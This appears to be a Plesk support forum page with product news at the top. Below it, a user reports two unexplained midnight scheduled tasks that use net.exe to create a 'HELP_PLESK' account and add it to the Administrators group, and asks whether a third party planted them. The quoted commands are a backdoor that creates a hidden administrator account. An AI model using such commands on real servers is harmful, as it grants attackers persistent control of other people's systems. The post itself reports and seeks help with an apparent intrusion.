• Halloween is coming! To celebrate the occasion, we dusted off a couple of old skins, and even created a brand new one (Pixel).
    To get into the festive spirit, install the Skins extension.
  • The new Python extension is now available. It allows customers to deploy and manage WSGI-based Python applications on their websites directly from Plesk.
  • The Plesk Mobile apps for iOS and Android and the Plesk Mobile Center extension have been deprecated, and are no longer available for new installations. In Plesk Obsidian 18.0.84, the Plesk Mobile Center extension will be removed from servers during the upgrade, and the Plesk Mobile apps will lose their server management features.
  • The Social Login extension has been deprecated and will be removed in Plesk Obsidian 18.0.84. After that, it will no longer be possible to log in to Plesk with a Google, Facebook, GitHub account, or with a passkey. Plesk usernames and passwords, as well as logging in with a WebPros Account, are not affected.

Suspicious Plesk scheduled task

Inspiring

New Pleskian
Hi All,

I have noticed that there is two scheduled task from Plesk that is scheduled to run every midnight (Plesk 8.6):


===================

Plesk Scheduler Task #56974aa80611c7ea2f93f0617354d813

C:\WINDOWS\system32\cmd.exe /c ""C:\Program Files\Parallels\Plesk\admin\bin\runtask.exe" --defaultmail "--application=net.exe" "--parameters=user HELP_PLESK apassword /add""

Plesk Scheduler Task #5ff893fff01088772737ca70b1fef982

C:\WINDOWS\system32\cmd.exe /c ""C:\Program Files\Parallels\Plesk\admin\bin\runtask.exe" --defaultmail "--application=net.exe" "--parameters=localgroup administrators HELP_PLESK /add""

===================

Both of the task is added to the system the same time as other Plesk scheduled tasks such as statistics.exe


I have tested to login as this new user created via remote desktop, and I was granted full administrator right...

Does anyone have the above two scheduled tasks? Or do you think that these two tasks is added by third party?
